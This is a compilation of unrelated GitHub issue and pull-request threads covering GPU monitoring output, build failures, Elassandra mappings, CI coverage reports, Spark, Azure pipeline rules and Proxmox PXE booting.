    ver_str: [<IP_ADDRESS>.000000]
    date   : [2021/11/09 02:55]

GPU Metrics Version: v1.3

--------
#1 DevicePath { render: "/dev/dri/renderD129", card: "/dev/dri/card1", pci: "0000:0b:00.0" }
drm version: 3.54.0

Device Name              : [AMD Radeon Graphics]
PCI (domain:bus:dev.func): 0000:0b:00.0
DeviceID.RevID           : 0x15D8.0xC9

GPU Type  : APU
Family    : Raven (RV)
ASIC Name : Raven
Chip Class: GFX9

Shader Engine (SE)         :   1
Shader Array (SA/SH) per SE:   1
CU per SA                  :   8
Total Compute Unit         :   8
RenderBackendPlus (RB+)    :   2 (16 ROPs)
Peak Pixel Fill-Rate       :  20 GP/s

GPU Clock: 200-1250 MHz
Peak FP32: 1280 GFLOPS

VRAM Type     : DDR4
VRAM Bit Width: 128-bit
Memory Clock  : 0-1067 MHz
Peak Memory BW: 34 GB/s
ResizableBAR  : Enabled

VRAM              : usage    56 MiB, total    64 MiB (usable    40 MiB)
CPU-Visible VRAM  : usage    56 MiB, total    64 MiB (usable    40 MiB)
GTT               : usage   266 MiB, total 11950 MiB (usable 11944 MiB)

Edge Temp.      :  89 C (Current)

Supported Power Profiles: ["BOOTUP_DEFAULT", "3D_FULL_SCREEN", "POWER_SAVING", "VIDEO", "VR", "COMPUTE"]

L1 Cache (per CU)    :   16 KiB
L2 Cache             : 1024 KiB (4 Banks)

Firmware info:
    GFX_ME   feature:  54, ver:       0xA7
    GFX_PFP  feature:  54, ver:       0xC3
    GFX_CE   feature:  54, ver:       0x50
    GFX_RLC  feature:   1, ver:      0x227
    GFX_MEC  feature:  54, ver:      0x1D5
    SMC      feature:   0, ver:    0x41E40
    SDMA     feature:  41, ver:       0xA9
    ASD      feature:   0, ver: 0x210000AD
    VCN      feature:   0, ver:  0x310F000
    GFX_RLC_RESTORE_LIST_CNTL feature:   1, ver:        0x1
    GFX_RLC_RESTORE_LIST_GPM_MEM feature:   1, ver:        0x1
    GFX_RLC_RESTORE_LIST_SRM_MEM feature:   1, ver:        0x1
    DMCU     feature:   0, ver:        0x1

Video caps (WIDTHxHEIGHT):
    MPEG2     :    4096x4096 (Decode),          N/A (Encode)
    MPEG4     :    4096x4096 (Decode),          N/A (Encode)
    VC1       :    4096x4096 (Decode),          N/A (Encode)
    MPEG4_AVC :    4096x4096 (Decode),    4096x2304 (Encode)
    HEVC      :    4096x4096 (Decode),    4096x2304 (Encode)
    JPEG      :    4096x4096 (Decode),          N/A (Encode)
    VP9       :    4096x4096 (Decode),          N/A (Encode)
    AV1       :          N/A (Decode),          N/A (Encode)

VBIOS info:
    name   : [PICASSO Generic VBIOS]
    pn     : [113-PICASSO-115]
    ver_str: [<IP_ADDRESS>.000000]
    date   : [2019/04/25 05:49]

How should I run TUI mode?

$ amdgpu_top

GUI mode shows a window, but doesn't show info.

What does it mean?

How should I run TUI mode?

$ amdgpu_top

amdgpu_top doesn't print anything, but doesn't exit either, same as amdgpu_top --smi

GUI mode shows a window, but doesn't show info.

What does it mean?

Graphs don't show any info.

Please provide the following information.

Linux Kernel version
Desktop environment
Linux distribution
Does glxgears work? It may be a problem with the OpenGL driver.
What terminal app are you using?
Does amdgpu_top v0.4.0 or earlier work?
Does nvtop or radeontop work?

Okay, installed mesa-utils and now it works, maybe add it to the dependencies of the *.deb

Ok, but SMI mode and TUI mode doesn't depend on OpenGL, and GUI mode had a fallback.
Well, your system was broken after all.

Well, your system was broken after all.

What do you mean, my system was broken?

Well, your system was broken after all.

What do you mean, my system was broken?

The fact that the terminal application was not drawing well suggests that the necessary packages for that application were not installed.
Since this is not a bug in amdgpu_top, this will be my last reply.


Add missing c6i to NVMe instances

similar to https://github.com/cloudfoundry/bosh-aws-cpi-release/pull/121 c6i needs to be added.

we would gladly accept a PR for this

https://github.com/cloudfoundry/bosh-aws-cpi-release/pull/136 has been submitted


Fix batch byref duplicated

Fixes https://github.com/EnzymeAD/Enzyme.jl/issues/778

Codecov Report
Patch coverage: 70.58% and project coverage change: -5.43 :warning:

Comparison is base (5669c89) 77.69% compared to head (613b8fa) 72.26%.

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
Additional details and impacted files
@@            Coverage Diff             @@
##             main     #790      +/-   ##
==========================================
- Coverage   77.69%   72.26%   -5.43%
==========================================
  Files          18       18
  Lines        7401     7057     -344
==========================================
- Hits         5750     5100     -650
- Misses       1651     1957     +306

Impacted Files
Coverage Δ

src/compiler.jl
74.02% <70.58%> (-4.27%)
:arrow_down:

... and 13 files with indirect coverage changes

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


[5351] Added features for the action container

Ticket: [5351]
Feature flag: n/a

Purpose
Add functionality for the right-hand action container when submitting a new preprint
Summary of Changes
Added a new method to the state machine
Added buttons and formatting to the left and right navs and the header
Screenshot(s)

Side Effects
The state machine is throwing and error that I will need help debugging. I know what is wrong, I just don't know who to fix it in Ember.

QA Notes

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

18 of 44 (40.91%)  changed or added relevant lines in 8 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage decreased (-0.08%) to 68.116%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

app/preprints/-components/submit/component.ts
0
1
0.0%

app/preprints/submit/controller.ts
0
1
0.0%

app/preprints/-components/submit/preprint-state-machine/action-flow/component.ts
0
3
0.0%

app/preprints/-components/submit/preprint-state-machine/component.ts
0
10
0.0%

app/preprints/submit/route.ts
0
11
0.0%

Totals

Change from base Build<PHONE_NUMBER>:
-0.08%

Covered Lines:
6153

Relevant Lines:
8795

💛  - Coveralls


updated dependencies generated by npm audit fix

Pre-Audit:

found 875 vulnerabilities (1 low, 2 moderate, 871 high, 1 critical)

After Audit:

removed 3 packages and updated 13 packages in 7.661s
fixed 875 of 875 vulnerabilities in 32912 scanned packages

npm install:

audited 33085 packages in 6.273s
found 0 vulnerabilities

Effectively handlebars, lodash and marked were updated
I could normally start the app and access the getting-started package

Thanks a lot! We never had time to do this update. I'll merge as soon as I can check example-forum and example-forms too.

Merged, nice contrib!


What is the correct way to map existing geo_point table?

Not sure whether this is an issue but couldn't find solution from the docs. I have created type and table directly to Cassandra like this:
CREATE TYPE IF NOT EXISTS geo_point (
lat double,
lon double
);
CREATE TABLE IF NOT EXISTS points (
name text,
location LIST<FROZEN<geo_point>>,
PRIMARY KEY (name)
);
And then I try to map it with command:
curl -XPUT http://localhost:9200/<index_name>/_mapping/points -d '{      "points" : {          "properties": {              "name" : { "type" : "string" },             "location": {                  "type": "geo_point"              }          }      } }'
The result of the call is always Expected map for property [fields] on field [type] but got a class java.lang.String. Status 400. What is the correct way to map this? I tried also with plain
curl -XPUT http://localhost:9200/<index_name>/_mapping/points -d ' {      "points" : {          "discover" : ".*"     } }'
with the same result. Also second question, when creating type from ES the "_id" column gets created to Cassandra table. But if I create table from Cassandra and then map it from ES there's no "_id" - column visible. How is it so?

You can create your CQL table by creating an ES mapping like this :
$curl -XPUT http://localhost:9200/test/_mapping/points -d '{ "points" : { "properties": { "name" : { "type" : "string" }, "location": { "type": "geo_point" } } } }'
Then you should get the following cassandra schema :
cqlsh> desc KEYSPACE test ;
CREATE KEYSPACE test WITH replication = {'class': 'NetworkTopologyStrategy', 'dc1': '1'}  AND durable_writes = true;
CREATE TYPE test.geo_point (
lat double,
lon double
);
CREATE TABLE test.points (
"_id" text PRIMARY KEY,
location list<frozen<geo_point>>,
name list
) WITH bloom_filter_fp_chance = 0.01
AND caching = {'keys': 'ALL', 'rows_per_partition': 'NONE'}
AND comment = 'Auto-created by Elassandra'
AND compaction = {'class': 'org.apache.cassandra.db.compaction.SizeTieredCompactionStrategy', 'max_threshold': '32', 'min_threshold': '4'}
AND compression = {'chunk_length_in_kb': '64', 'class': 'org.apache.cassandra.io.compress.LZ4Compressor'}
AND crc_check_chance = 1.0
AND dclocal_read_repair_chance = 0.1
AND default_time_to_live = 0
AND gc_grace_seconds = 864000
AND max_index_interval = 2048
AND memtable_flush_period_in_ms = 0
AND min_index_interval = 128
AND read_repair_chance = 0.0
AND speculative_retry = '99PERCENTILE';
CREATE CUSTOM INDEX elastic_points_location_idx ON test.points (values(location)) USING 'org.elassandra.index.ExtendedElasticSecondaryIndex';
CREATE CUSTOM INDEX elastic_points_name_idx ON test.points (values(name)) USING 'org.elassandra.index.ExtendedElasticSecondaryIndex';
Unfortunately, discovering a geo_point mapping from CQL is not currently possible, because geo_point is stored in a User Defined Type as any other nested types (There is no more bijection between ES mapping and CQL schema).
In this case, you can explicitly add the geo_point mapping like this (regex discover all but the location field).
$curl -XPUT http://localhost:9200/test/_mapping/points -d ' { "points" : { "discover" : "^((?!location).*)", "properties": { "location": { "type": "geo_point", "cql_collection":"list" } } } }'
And you get the mapping :
$get "test?pretty"
{
"test" : {
"aliases" : { },
"mappings" : {
"points" : {
"properties" : {
"location" : {
"type" : "geo_point"
},
"name" : {
"type" : "string",
"index" : "not_analyzed"
}
}
}
},
"settings" : {
"index" : {
"creation_date" : "1485211043021",
"number_of_shards" : "1",
"number_of_replicas" : "0",
"uuid" : "Oh6jpfTmRUSkFLl9FqUwLQ",
"version" : {
"created" : "2040299"
}
}
},
"warmers" : { }
}
}
Finally for your last question, when the underlying cassandra table does not yet exists, ES creates a new table with a text primary key named « _id".
But if the underlying table already exists, document id is a text representation of its primary key.
If the primary key is a composite key, _id is a string representation of a JSON array (ex:  [‘a’,1]).

curl -XPUT http://localhost:9200/test/_mapping/points -d ' { "points" : { "discover" : ".*" } }'

Le 23 janv. 2017 à 22:00, arkataja<EMAIL_ADDRESS>a écrit :
Not sure whether this is an issue but couldn't find solution from the docs. I have created type and table directly to Cassandra like this:
CREATE TYPE IF NOT EXISTS geo_point (
lat double,
lon double
);
CREATE TABLE IF NOT EXISTS points (
name text,
location LIST<FROZEN<geo_point>>,
PRIMARY KEY (name)
);
And then I try to map it with command:
curl -XPUT http://localhost:9200/<index_name>/_mapping/points -d '{ "points" : { "properties": { "name" : { "type" : "string" }, "location": { "type": "geo_point" } } } }'
The result of the call is always Expected map for property [fields] on field [type] but got a class java.lang.String. Status 400. What is the correct way to map this? I tried also with plain
curl -XPUT http://localhost:9200/<index_name>/_mapping/points -d ' { "points" : { "discover" : ".*" } }'
with the same result. Also second question, when creating type from ES the "_id" column gets created to Cassandra table. But if I create table from Cassandra and then map it from ES there's no "_id" - column visible. How is it so?
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub https://github.com/strapdata/elassandra/issues/76, or mute the thread https://github.com/notifications/unsubscribe-auth/AJzHmROE5VvlKqgHGgL8437Ad9Tnmxxtks5rVRTfgaJpZM4Lric2.

Ok, thanks for the info. Continuing evaluation.


--allow-eval: ghcid doesn't start up when project has compile error

If you have a compile error in your project, ghcid usually just starts up and shows you the error. But with --allow-eval enabled, it terminates with the following error message:
ghcid: /home/mkl/sandbox/haskell-misc/hello-world/<unknown>: openFile: does not exist (No such file or directory)

If you start ghcid with --allow-eval in an error-free project and then add a compile error, ghcid works as expected.
How to reproduce:

add --allow-eval to .ghcid
have a project with compile error
start ghcid

Thanks for the bug report. I don't actually use --allow-eval ever, so I'm unlikely to ever investigate in any depth. You're welcome to take a look, and I'd certainly accept a patch. Alternatively, maybe @akrmn or @isovector are interested in taking a look (as previous contributors of --allow-eval stuff)


Support specify CPU cores and Memory restricts for driver

Signed-off-by: duyanghao<EMAIL_ADDRESS>What changes were proposed in this pull request?
Support specify CPU cores and Memory restricts for driver:
support spark driver parameters:spark.driver.memory and spark.driver.cores
How was this patch tested?
Manual tests were successful.Example is as follows:
kubectl describe pods/spark-driver:
Containers:
  spark-kubernetes-driver:
    Container ID:	docker://08f343477affe77690ba0aa43deabc0adaaa0be57b795a7f75378176c431883b
    Image:		xxx/xxx/spark-driver-app:v0.2-test5
    Image ID:		docker://sha256:4200b209ad2d1c604e18f14b967592b25c2063d21cea637a77b971435ff38909
    Port:
    Limits:
      cpu:	2
      memory:	3456M
    Requests:
      cpu:		2
      memory:		3072M

submit command:
--conf spark.driver.memory=3G
--conf spark.driver.cores=2

This LGTM.

LG too

Thanks @duyanghao

Thanks for the PR @duyanghao !


Module in module support

Is your feature request related to a problem? Please describe.
Supporting moduleception (modules in modules). We have the following set-up:
main.bicep -> local modules with resource group deployments -> acr modules.
This means the resources are not getting evaluated, because only deployments in deployments are tested.
This is what works:
(Get-Content template.json | ConvertFrom-Json -Depth 99).resources[0].properties.template.resources | Assert-PSRule -Format Json
But I was hoping to use the azure pipeline task:
  - task: ps-rule-assert@2
    displayName: Analyze Azure template files
    inputs:
      inputType: repository
      modules: "PSRule.Rules.Azure"
      outputFormat: NUnit3
      outputPath: reports/ps-rule-results.xml

Describe the solution you'd like

Describe alternatives you've considered

Additional context

@Dylan-Prins Thanks for the feature request. I'm not sure I understand the request entirely.
Currently PSRule for Azure will expand resources in nested deployments in the following cases:

Parameter file (JSON) -> Template (JSON) -> Nested deployment within the same file
Parameter file (JSON) -> Bicep module/ deployment > Bicep module
Bicep tests/ deployment -> Bicep module -> Bicep module

Bicep modules will be restored from a Bicep registry (ACR) automatically, however a private registry requires authorization. See Restoring modules from a private registry for details on how to configure this within a pipeline.
Also consider setting the AZURE_BICEP_FILE_EXPANSION_TIMEOUT option as restores from a registry can take longer particularly when you are referencing several modules. Start with 15 or 30 seconds and tune as required if you still see timeouts.

Are you after a different option? or are the above options not working (bug)?

@Dylan-Prins
You can use the AzurePowerShell@5 task.
I am using private ACRs for Bicep repositories (modules) and using this configuration currently.
  - task: AzurePowerShell@5
        displayName: "Validate module files with Well-Architected Framework"
        condition: contains(variables['diff'], 'module')
        inputs:
          azureSubscription: $(serviceConnectionName)
          scriptType: "inlineScript"
          inline: |
            Install-Module PSRule.Rules.Azure -Scope CurrentUser -Force;
            git diff --diff-filter=d HEAD^ HEAD --name-only | ForEach-Object { Get-ChildItem $_ } | Assert-PSRule -Format File -
            Module 'PSRule.Rules.Azure' -Baseline 'Azure.GA_2022_06' -OutputFormat NUnit3 -OutputPath 'reports/ps-rule-
            results.xml'
          azurePowerShellVersion: latestVersion


Python Question

Why is it necessary to convert the integer variable number to a string using the str() function in the revised print statement?
When a bug is found in a software program during testing, what is the best way to communicate it to the right individuals(s)?
What type of error occurred when attempting to run the Python script located in the /usr/bin directory, as indicated by the provided output?

The Answer Can Be Like , To enable concatenation of the integer number with the string in the print statement.
The Best Way Can Be, Document it and notify relevant team members
Easy We Can Say , it is ImportError


Nicistore not installing

Hi ,
I'm facing some issues while installing "npm install"
_**WARN invalid config loglevel="notice"
Cannot download "https://github.com/sass/node-sass/releases/download/v3.3.2/darwin-x64-57_binding.node": HTTP error 404 Not Found

<EMAIL_ADDRESS>postinstall /Applications/MAMP/htdocs/nicistore/node_modules/node-sass
node scripts/build.js

Building: /usr/local/bin/node /Applications/MAMP/htdocs/nicistore/node_modules/pangyp/bin/node-gyp.js rebuild --libsass_ext= --libsass_cflags= --libsass_ldflags= --libsass_library=
gyp info it worked if it ends with ok
gyp verb cli [ '/usr/local/bin/node',
gyp verb cli   '/Applications/MAMP/htdocs/nicistore/node_modules/pangyp/bin/node-gyp.js',
gyp verb cli   'rebuild',
gyp verb cli   '--libsass_ext=',
gyp verb cli   '--libsass_cflags=',
gyp verb cli   '--libsass_ldflags=',
gyp verb cli   '--libsass_library=' ]
gyp info using<EMAIL_ADDRESS>gyp info using<EMAIL_ADDRESS>| darwin | x64
gyp verb command rebuild []
gyp verb command clean []
gyp verb clean removing "build" directory
gyp verb command configure []
gyp verb check python checking for Python executable "python" in the PATH
gyp verb which succeeded python /Users/tintu/anaconda3/bin/python
gyp verb check python version python -c "import platform; print(platform.python_version());" returned: "3.6.3\n"
gyp ERR! configure error
gyp ERR! stack Error: Python executable "python" is v3.6.3, which is not supported by gyp.
gyp ERR! stack You can pass the --python switch to point to Python >= v2.5.0 & < 3.0.0.
gyp ERR! stack     at failPythonVersion (/Applications/MAMP/htdocs/nicistore/node_modules/pangyp/lib/configure.js:110:14)
gyp ERR! stack     at /Applications/MAMP/htdocs/nicistore/node_modules/pangyp/lib/configure.js:99:9
gyp ERR! stack     at ChildProcess.exithandler (child_process.js:267:7)
gyp ERR! stack     at emitTwo (events.js:126:13)
gyp ERR! stack     at ChildProcess.emit (events.js:214:7)
gyp ERR! stack     at maybeClose (internal/child_process.js:925:16)
gyp ERR! stack     at Process.ChildProcess.handle.onexit (internal/child_process.js:209:5)
gyp ERR! System Darwin 17.5.0
gyp ERR! command "/usr/local/bin/node" "/Applications/MAMP/htdocs/nicistore/node_modules/pangyp/bin/node-gyp.js" "rebuild" "--libsass_ext=" "--libsass_cflags=" "--libsass_ldflags=" "--libsass_library="
gyp ERR! cwd /Applications/MAMP/htdocs/nicistore/node_modules/node-sass
gyp ERR! node -v v8.11.2
gyp ERR! pangyp -v v2.3.3
gyp ERR! not ok**
npm => 5.6.0
node => v8.11.2
MAC OX

I have the same issue!

Edit package.json to install node-sass 4.9.0


Assign fk/m2m on create and support delete

What's this PR do?

Expands create to support fk/m2m assignment
Adds support for delete with a blank 204 response
Adds ApiClient to worf.testing which defaults to json
Refactors views and tests
Removes transform_to_dict which does the same thing as dict
Bumps test coverage to 78%

Why is this important, or what issue does this solve?
I needed to create and delete things, and I wanted to do it in style 😼
What Worf gif best describes this PR or how it makes you feel?

Tasks

[x] This PR increases test coverage
[ ] This PR includes README updates reflecting any new features/improvements to the framework

lol github ui to resolve conflicts creates conflicts


Booting Proxmox over UEFI with FTP

Hello,
booting ober tftp works really fine, but needs a lot of time. So HTTP/ftp would be better. But how does this work on UEFI  PXE? With tftp it works like this:
menuentry 'Proxmox 6.2' --id proxmox62 {
  linuxefi /proxmox62/linux26 vga=791 video=vesafb:ywrap,mtrr ramdisk_size=2000000 linux ext4 maxroot=60 swapsize=16 splash=verbose
  initrdefi /proxmox62/initrd.iso.img
}

But with ftp for example it means "you must boot the kernel first". So i think my syntax is not correct.
menuentry 'Proxmox 6.2 Faster' --id proxmox62-ftp {
  linuxefi url=ftp://data.osit.cc/pxe-iso/proxmox/linux26 vga=791 video=vesafb:ywrap,mtrr ramdisk_size=2000000 linux ext4 maxroot=60 swapsize=16 splash=verbose
  initrdefi url=ftp://data.osit.cc/pxe-iso/proxmox/initrd.iso.img
}

Hm, not sure, i'm using ipxe only with UEFI which works like described in the README.

Ok, so the best way is to test this with HTTP.


Tighten Tip content

Reduce verbose Tip and increase discovery of Terraform Hub and Terraform in Cloud Shell guidance.

@rloutlaw @TomArcher Could one you please review the updated links to hub, and approve?

@rcarun : Thanks for your contribution to the Azure documentation! The author, @echuvyrov, has been notified to review your proposed change.

I approve this change (I'm the CPub manager for this documentation area). #sign-off

Thanks @rloutlaw When will this go live?


Model Compiler - NNEF Fuse Op Warning

Using the -fuse operation has the following warning
 nnef2nnir2openvx with FUSED Operations -- mnist-nnef

mnist-nnef - Batch size 1
reading NNEF model from /home/kiriti/nn-test/MIVisionX/tests/neural_network_tests/models/mnist-nnef...
OK: creating IR description in ./graph.nnir ...
OK: creating IR binaries in ./binary ...
Done
reading IR model from . ...
OK: reading IR description from ./graph.nnir ...
OK: reading IR binaries from ./binary ...
Traceback (most recent call last):
  File "/opt/rocm/mivisionx/model_compiler/python/nnir_update.py", line 85, in <module>
    main()
  File "/opt/rocm/mivisionx/model_compiler/python/nnir_update.py", line 76, in main
    graph.fuseOps()
  File "/opt/rocm-3.7.0/mivisionx/model_compiler/python/nnir.py", line 1112, in fuseOps
    self.addBinary(prevNode.inputs[1], np.getbuffer(weight))
AttributeError: module 'numpy' has no attribute 'getbuffer'
reading IR model from . ...
OK: reading IR description from ./graph.nnir ...
OK: reading IR binaries from ./binary ...
#OUTPUT-TENSOR: output 3 10 1 1
creating C code in . ...
creating ./CMakeLists.txt ...
creating ./cmake/FindOpenCL.cmake ...
creating ./annmodule.h ...
creating ./annmodule.cpp ...
creating ./weights.bin ...
creating ./anntest.cpp ...
creating ./annpython.h ...
creating ./annpython.cpp ...
creating ./anntest.py ...
-- The C compiler identification is GNU 7.5.0
-- The CXX compiler identification is GNU 7.5.0
-- Check for working C compiler: /usr/bin/cc
-- Check for working C compiler: /usr/bin/cc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Detecting C compile features
-- Detecting C compile features - done
-- Check for working CXX compiler: /usr/bin/c++
-- Check for working CXX compiler: /usr/bin/c++ -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Found OPENCL: /opt/rocm/opencl/lib/libOpenCL.so
-- Configuring done
-- Generating done
-- Build files have been written to: /home/kiriti/nn-test/MIVisionX/tests/neural_network_tests/models/develop/nnefFuse/nnir_build_1
Scanning dependencies of target annmodule
[ 16%] Building CXX object CMakeFiles/annmodule.dir/annmodule.cpp.o
[ 33%] Linking CXX shared library libannmodule.so
[ 33%] Built target annmodule
Scanning dependencies of target annpython
[ 50%] Building CXX object CMakeFiles/annpython.dir/annpython.cpp.o
[ 66%] Linking CXX shared library libannpython.so
[ 66%] Built target annpython
Scanning dependencies of target anntest
[ 83%] Building CXX object CMakeFiles/anntest.dir/anntest.cpp.o
[100%] Linking CXX executable anntest
[100%] Built target anntest
mnist-nnef - Batch size 1
OK: loaded 37 kernels from libvx_nn.so
OK: OpenVX using GPU device#0 (gfx906) [OpenCL 2.0 ] [SvmCaps 0 0]
OK: graph initialization with annAddToGraph() took 683.092 msec
OK: vxProcessGraph() took 12.196 msec (1st iteration)
OK: vxProcessGraph() took 0.233 msec (average over 100 iterations)
OK: OpenCL buffer usage: 184128, 12/12
OK: successful

@hansely changes to model compiler have to pass these tests - https://github.com/GPUOpen-ProfessionalCompute-Libraries/MIVisionX/tree/master/tests/neural_network_tests#mivisionx-neural-network-tests

@hansely changes to model compiler have to pass these tests - https://github.com/GPUOpen-ProfessionalCompute-Libraries/MIVisionX/tree/master/tests/neural_network_tests#mivisionx-neural-network-tests

@hansely any updates on this?

@hansely any updates on this?

@kiritigowda
The fuse-ops flow is working on my machine. Can you try installing numpy on python3?
pip3 install numpy

@kiritigowda
The fuse-ops flow is working on my machine. Can you try installing numpy on python3?
pip3 install numpy

@hansely the script installs all deps -
https://github.com/GPUOpen-ProfessionalCompute-Libraries/MIVisionX/blob/ced14e8eee0cb7e3c822790e2962b70c50097aa0/tests/neural_network_tests/runNeuralNetworkTests.py#L151

@hansely the script installs all deps -
https://github.com/GPUOpen-ProfessionalCompute-Libraries/MIVisionX/blob/ced14e8eee0cb7e3c822790e2962b70c50097aa0/tests/neural_network_tests/runNeuralNetworkTests.py#L151

@hansely any updates on this?

@kiritigowda
Here is the output of the script on my system
python runNeuralNetworkTests.py --profiler_mode 8

Model Name
Batch Size
Time/Batch (ms)
Time/Image (ms)

nnef-mnist
1
0.185
0.185

nnef-mnist
2
0.183
0.091

nnef-mnist
4
0.186
0.046

nnef-mnist
8
0.185
0.023

nnef-mnist
16
0.184
0.011

nnef-mnist
32
0.184
0.006

nnef-mnist
64
0.182
0.003

python3 runNeuralNetworkTests.py --profiler_mode 8

Model Name
Batch Size
Time/Batch (ms)
Time/Image (ms)

nnef-mnist
1
0.182
0.182

nnef-mnist
2
0.182
0.091

nnef-mnist
4
0.182
0.045

nnef-mnist
8
0.186
0.023

nnef-mnist
16
0.186
0.012

nnef-mnist
32
0.188
0.006

nnef-mnist
64
0.187
0.003

@kiritigowda
Did you tried it on your system? Or was it on a docker?

@hansely this issue is no more observed on TOT.
CI LOG for reference- http://math-ci.rocm.amd.com/blue/organizations/jenkins/compute-rocm-dkms-no-npi-hipclang%2FShort-GPUOpen%2FMIVisionX/detail/master/55/pipeline
reading NNEF model from /var/jenkins_home/workspace/g_Short-GPUOpen_MIVisionX_master/LMZNbarS1/mivisionx/tests/neural_network_tests/models/nnef-mnist...
OK: creating IR description in ./graph.nnir ...
OK: creating IR binaries in ./binary ...
Done
reading IR model from . ...
OK: reading IR description from ./graph.nnir ...
OK: reading IR binaries from ./binary ...
writing IR model into . ...
OK: creating IR description in ./graph.nnir ...
OK: creating IR binaries in ./binary ...
reading IR model from . ...
OK: reading IR description from ./graph.nnir ...
OK: reading IR binaries from ./binary ...
#OUTPUT-TENSOR: output 3 10 1 1
creating C code in . ...
creating ./CMakeLists.txt ...
creating ./cmake/FindOpenCL.cmake ...
creating ./annmodule.h ...
creating ./annmodule.cpp ...
creating ./weights.bin ...
creating ./anntest.cpp ...
creating ./annpython.h ...
creating ./annpython.cpp ...
creating ./anntest.py ...
-- The C compiler identification is GNU 7.5.0
-- The CXX compiler identification is GNU 7.5.0
-- Check for working C compiler: /usr/bin/cc
-- Check for working C compiler: /usr/bin/cc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Detecting C compile features
-- Detecting C compile features - done
-- Check for working CXX compiler: /usr/bin/c++
-- Check for working CXX compiler: /usr/bin/c++ -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Found OPENCL: /opt/rocm/opencl/lib/libOpenCL.so
-- Configuring done
-- Generating done
-- Build files have been written to: /var/jenkins_home/workspace/g_Short-GPUOpen_MIVisionX_master/LMZNbarS1/mivisionx/tests/neural_network_tests/models/develop/nnefFuse/nnir_build_64
Scanning dependencies of target annmodule
[ 16%] Building CXX object CMakeFiles/annmodule.dir/annmodule.cpp.o
[ 33%] Linking CXX shared library libannmodule.so
[ 33%] Built target annmodule
Scanning dependencies of target annpython
[ 50%] Building CXX object CMakeFiles/annpython.dir/annpython.cpp.o
[ 66%] Linking CXX shared library libannpython.so
[ 66%] Built target annpython
Scanning dependencies of target anntest
[ 83%] Building CXX object CMakeFiles/anntest.dir/anntest.cpp.o
[100%] Linking CXX executable anntest
[100%] Built target anntest
nnef-mnist - Batch size 64
OK: loaded 38 kernels from libvx_nn.so
OK: OpenVX using GPU device#0 (gfx908:sramecc+:xnack-) [OpenCL 2.0 ] [SvmCaps 0 0]
MIOpen(OpenCL): Warning [ParseAndLoadDb] File is unreadable: /opt/rocm/miopen/share/miopen/db/gfx90878.OpenCL.fdb.txt
OK: graph initialization with annAddToGraph() took 713.874 msec
OK: vxProcessGraph() took 101.052 msec (1st iteration)
OK: vxProcessGraph() took 0.175 msec (average over 100 iterations)
OK: OpenCL buffer usage: 127584, 10/10
OK: successful


Fix some accessibility issues

I'm not proficient enough to do that unfortunately. I used the custom css because it was easier for me. I don't now how to use SCSS :/


Add edit command

Fixes #868.

Needs a few more tests but already looks pretty good.

Great work!


Can't build on Fedora 37

I'm trying to build aapt2 locally. Could you please try to find out what's wrong for me?
I first cloned this repo using git clone, then ran python3 get_source.py --tags platform-tools-33.0.3. That took a while but failed shortly before the end with something like "unknown tag", so I cd'd into a submodule and ran git tag. That didn't show platform-tools-33.0.31, so I manually checked out the submodule revisions mentioned online on GitHub in all submodules. After that, running git status in the android-sdk-tools folder showed "nothing to commit, working tree clean". I used git 2.39.1 btw.
Anyway, after that I ran python3 build.py --ndk=/var/lib/android/linux/SDK/ndk/25.1.8937393/ --abi=arm64-v8a --build=build/arm64-v8a --protoc=/home/jkhon/Downloads/protoc-21.12/bin/protoc and that failed. This got printed out in red:
CMake Error at src/abseil-cpp/CMake/Googletest/DownloadGTest.cmake:23 (message):
  CMake step for googletest failed: 1
Call Stack (most recent call first):
  src/abseil-cpp/CMakeLists.txt:158 (include)

and here's CMake's log files:
CMakeOutput.log
CMakeError.log
Any idea what could be wrong? CMake apparently is at version 3.25.2 for me.

I don't know where the problem is, please download release/android-sdk-tools-source.zip to compile and try to see if it can be built successfully
python build.py \
    --ndk=/path/to/android-ndk-xxx \
    --abi=arm64-v8a \
    --build=build/aarch64 \
    --target=aapt2

I did that and now build is failing at expat with an error message similar to fwupd/fwupd#93. I'll try to build it on a Debian 11 image.

If anyone else experiences a similar image, just try building on a Debian or Ubuntu image.


chore: add import icon

SUMMARY
Adds an import icon to the icon set, to be used later for the import functionality (dashboard, dataset, charts, queries). Also bumped the storybook lib to fix an error.
BEFORE/AFTER SCREENSHOTS OR ANIMATED GIF
Storybook with changing colors:

TEST PLAN
visual test in storybook
ADDITIONAL INFORMATION

[ ] Has associated issue:
[ ] Changes UI
[ ] Requires DB Migration.
[ ] Confirm DB Migration upgrade and downgrade tested.
[ ] Introduces new feature or API
[ ] Removes existing feature or API

Codecov Report

Merging #11652 (2bf34f8) into master (d315dd9) will increase coverage by 4.28%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master   #11652      +/-   ##
==========================================
+ Coverage   56.93%   61.21%   +4.28%
==========================================
  Files         828      422     -406
  Lines       40614    26297   -14317
  Branches     3683        0    -3683
==========================================
- Hits        23122    16099    -7023
+ Misses      17287    10198    -7089
+ Partials      205        0     -205

Flag
Coverage Δ

cypress
?

python
61.21% <ø> (-0.71%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

superset/db_engines/hive.py
0.00% <0.00%> (-85.72%)
:arrow_down:

superset/db_engine_specs/hive.py
53.90% <0.00%> (-30.08%)
:arrow_down:

superset/db_engine_specs/presto.py
69.76% <0.00%> (-12.53%)
:arrow_down:

superset/db_engine_specs/mysql.py
79.59% <0.00%> (-12.25%)
:arrow_down:

superset/examples/world_bank.py
97.10% <0.00%> (-2.90%)
:arrow_down:

superset/examples/birth_names.py
96.51% <0.00%> (-2.33%)
:arrow_down:

superset/views/database/mixins.py
80.70% <0.00%> (-1.76%)
:arrow_down:

superset/models/core.py
87.60% <0.00%> (-1.66%)
:arrow_down:

superset/views/core.py
73.81% <0.00%> (-0.49%)
